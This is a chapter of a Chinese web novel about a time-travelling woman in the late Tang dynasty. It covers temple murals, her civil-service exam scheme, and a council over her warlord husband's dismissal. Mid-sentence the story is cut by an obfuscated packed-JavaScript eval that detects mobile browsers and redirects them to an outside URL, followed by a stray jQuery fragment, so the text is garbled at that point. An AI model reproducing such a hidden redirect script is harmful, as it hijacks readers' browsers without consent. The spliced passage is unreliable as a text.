当章文瑛走进姐姐的道观时,她正在墙壁上作画。
杨柔之和骆令仪站在一旁仰头看着她一手拿着颜料,一手在墙上拿着毛笔在涂抹。
“画的是什么?朝元图?”章文瑛随口问道。
迎接她的是姐姐幽幽的目光。
“你为什么觉得我画的是朝元图?”
章文瑛很自然地说:“因为道观里都是这种图啊,反正就是所有神仙站在一起。如果是佛寺石窟里还可能有目连救母、舍生饲虎这些佛本生故事,你们道教啥都没用,就只会画朝元图。”
不知道怎么回事,她觉得姐姐脸都绿了。
“那你说道观里应该画什么?”她有些咬牙切齿道。
“嫦娥奔月?大禹治水?”章文瑛有些不确定道。“反正就是哪个故事被传的多画哪个呗。哦,还有周穆王求见西王母,肯定好看。姐你画的壁画太淡了,没几年就要脱色的。要把颜料和泥浆混在一起,趁没干的时候抹在墙上,这样画出来才鲜艳。你看佛寺外黄墙都是这么抹上去的。”
章文琅都被气笑了。“小兔崽子,人家没钱才拿的土浆抹!”冷静后她思索了一下,问章文瑛:“不过那些黄墙的确风吹日晒都不褪色。你说的法子真有效?”
章文瑛耸了耸肩。“姐你试试看不就知道了。诶,那些泥菩萨可鲜艳了,你们道士可不能被和尚们比下去啊!”
姐妹俩在这里一来一往地斗嘴,杨柔之和骆令仪在旁边捂着嘴笑。待到两人话说得差不多了,章文瑛回头对杨柔之道:“柔之,章大那天过来,说是书坊上的事想让我拿个主意。可是如今我事务繁忙,实在没精力去管家。你愿不愿意帮我?”
杨柔之听到章大的名字,神情一黯。等到章文瑛说完,她无精打采地说了一句:“再说吧,我如今先帮令仪把这些书译出来。”随后她问章文瑛:“究竟是何事?”
“新登县的孙芪孙县令写信过来,说我们可以将每年科考的试题和一甲的策论文章刊印出版,郎君也觉得可行。但具体怎么印,他俩谁都没说,章大便把问题推给了我。”
杨柔之骂了一句。“这个章大,这么滑不溜手!亏娘当年特地把他选出来当你陪嫁!”她在屋里踱步了一会儿,叹了口气道:“交给我吧。”
章文瑛无形之间松了一口气。骆令仪突然问道:“夫子,听说这三年科考都是您亲自出题。您现在是那些录用小吏共同的座师了,您的得意门生也不只是我们女塾和夜校里的娘子们了。”
听到自己信重的女学生这番话,章文瑛摆了摆手:“啥都没教,谈什么座师,不过是名利场上的遮掩而已。我只教过你们和父亲书院里的那群酸文人。至于得意门生,只有你和你师兄裴铎二人而已。”
杨柔之敏锐地发现骆令仪嘴角悄悄扬起,发现她目光投来便低下了头。
自己这位小小的故友一向表现得沉稳而干练,没想到还有这样的一面。杨柔之有些诧异地调了调眉毛。随后对章文瑛道:“文瑛的科举取士我亦有兴趣,自我从海外回来后,到处都在议论。”
章文瑛有些腼然。她小声嗫嚅道:“也没什么,就是要求拥有睦州蒙学的卒业证明,所有科打分,按总分高低取士,其他都是一样的。”
章文琅站在木头脚手架上拆台:“她可会避重就轻了。什么所有科目打分,你知道她设了多少科吗?诶呦,算学、诗赋、策论还有各曹加试,我听着头皮就发麻。光一个各曹加试就折腾死人。功曹的经义,仓曹的农学,法曹的律学,士曹的百工之术,我听着就头皮发麻。哦,还有医官们的医学和学官们的考课。”
杨柔之倒吸一口冷气。章文琅继续讲到:“还有呢,什么按总分高低取士,每曹招一个取两个,然后再堂试刷掉一半,剩下的才真正叫考取。除了医官由医学博士,学官由州长史负责,其余的都得一个个站在她面前堂试。这些新进来的吏员怕死她了,恨不得在衙门里夹着尾巴当鹌鹑。”
杨柔之听着愣住。章文琅幽幽道:“现在衙门里除了书手和不良人,全都是正儿八经经过科举录用的。柔之你若是去县衙办事,对他们可得尊重些。这帮人倒是不好钱财,就是眼睛长在天上,爱答不理的。”
章文瑛讪笑道:“姐你别说了,你道观有啥事还是直接找我吧,我替你跑腿。或者你参加选举当县民代表,县衙里六曹司佐的位置空出来,孙县令只有权力提名三个人选,谁升官都得由你们来投票决定。”
章文琅斜睨了她一眼:“若是令丞尉或主簿的位置空出来,你这个刺史夫人只负责提名三个人选,谁升官都得由州民代表投票决定是吧?你要不干脆把权力都扔给州民代表,过来给我画壁画算了。”
“刺史提名,刺史提名,我这个当娘子的替夫分忧而已。”章文瑛赶忙纠正。“何况县民代表统共100个,州民代表又100个,这一百人不还是被我牵着鼻子走。姐要不咱还是聊聊壁画吧。”
章文琅爬下了脚手架,白了妹妹一眼,扔掉了手中的颜料和毛笔。
*
回到睦州的宅中,章文瑛环视了前堂一圈,觉得似乎少了点什么。屋宇内似乎素淡了些。
家具摆设一应俱全,少了什么?对,壁画。向来想到就去做的章文瑛一拍手,决定立刻去找画师,最好让画师像画泥塑一样画壁画。
就画杜稜南征北战时的战争场景!一定要能体现她丈夫作战时的英姿!屋子里光放花瓶铜镜实在太千篇一律了,一定要有点体现她独特审美的摆件,比如动物雕塑。章文瑛美滋滋地转悠,做着大力栽培天才画师的美梦。结果差点撞上一个人。
“婶婶!”杜建徽慌忙鞠躬作揖赔罪。
章文瑛也吓了一跳。“你怎么在这里?”她询问道。
“叔父让我过来的。”杜建徽道。“他打算召集全体将领到前堂议事,好像就我一个到了。婶婶在前堂做什么?”
章文瑛简短地说了一下自己伟大的艺术构想,不料杜建徽却道:“吾认识一位名叫孙位的画家,擅长山水长卷。可惜跟着天子去了蜀地。您若是想要彩塑工匠,吾倒认识几个。”
“既然如此,多谢侄儿了。”章文瑛简直是大喜过望。唐代的彩塑大气雄浑,灵动而含蓄,是中国古典雕塑工艺的巅峰。她乐滋滋地
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16269176|182226||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
从前堂后门离开进了内院,迎面就见到穿着青绿色圆领袍的杜稜。
“快点去前堂吧,你三侄子已经在等了,我看其他人也快到了。”章文瑛心情大好,连说这话时都忍不住地笑。
杜稜的神色很是凝重。“文妹戴上幕离,跟我一起去前堂吧。我参谋不定,需要你一起决议。”
在军政上,杜稜从不给章文瑛插手的机会,她也很识时务地只在内政上凸显存在感。毕竟打仗这事,不会还指手画脚不但惹人生厌,还带来无谓的伤亡。而不上战场,就意味着顶多做一个纸上谈兵的狗头军师。可供章文瑛发挥才华的舞台还有很多,她没必要讨嫌。
虽然会丧失一部分的权力,但章文瑛始终认为,最重要的权力还是手下对自己的信任和追随。自己前世实习时遇到的官僚主义校长也很多,虽然表面高高在上,但离开了那个位置没人理睬他们。但也有一个老校长,在其他校长收工会发言恨不得变成三小时领导讲话的时候,他的收工会是年会节目。即便这位老校长已经内退了,新校长们甚至不少中层干部还会经常向他咨询学校的建设问题。
庸人依靠规则给予的权力去领导,而成大事者依靠自己的权力和领导去制定规则。
杜稜显然不是庸人,在座开会的也都是他的心腹。只是他提出的问题确实有几分棘手。“朝廷任命衡州刺史韦诸为睦州刺史。当年黄巢别将攻陷睦州,是我带领军队击败敌寇还睦州安定。而今不求朝廷赏赐,却也不应卸磨杀驴。我不服此令,却也不欲与朝廷为敌。请诸位为我出谋划策。”
此言一出犹如晴天霹雳,众人都面面相觑。章文瑛慌忙问:“朝廷欲将郎君调往哪里?”话刚从出口意识到自己犯了蠢。在五代十国这种古代版黑暗森林里,朝廷对军阀的调令几乎等于变相赐死。
不过现在还有几十年才正式进入五代十国的末世,这条不成文的规定也是大家看到平定黄巢后几位被调走的节度使悲惨下场得出的。朝廷的调令未必含有恶意,却很可能让杜稜葬送性命。
杜稜侧头望了她一眼,嘴唇下撇,露出一个有些嘲讽的笑容:“没有调令,是撤职。”
堂上突然被响度巨大的渲染声充斥,章文瑛第一次意识到原来男人也可以像五百只鸭子那样吵闹。不,应该说十来个男人可以像五千只鸭子一样吵。
等到所有人都安静下来,杜建徽道:“之前秦彦占领宣歙并自立为观察使,叔父欲讨伐,却因朝廷未发令而逡巡。秦彦乃黄巢降将,打不过高大帅才投降,却被授予高官厚禄。您有功于朝廷,却被免除职务。不如干脆承认韦诸的睦州刺史,以示自己对朝廷并无不臣,然后带领大军攻打秦彦占领宣歙。”
一时间众人议论纷纷,好几个睦州本地将领有些不情愿,希望杜稜依旧将睦州当中大本营。新登将领却希望杜稜进取。正当杜稜犹豫之际,章文瑛站起道:“妾身觉得三小郎君提了个好主意。妾身是睦州本地人,可以留在睦州拉拢民心,做将军的后方。将军只要给妾身两百人即可。”
一时间前堂安静得可怕。杜稜突然爆发了一阵大笑:“文妹真乃吾之诸葛!可!”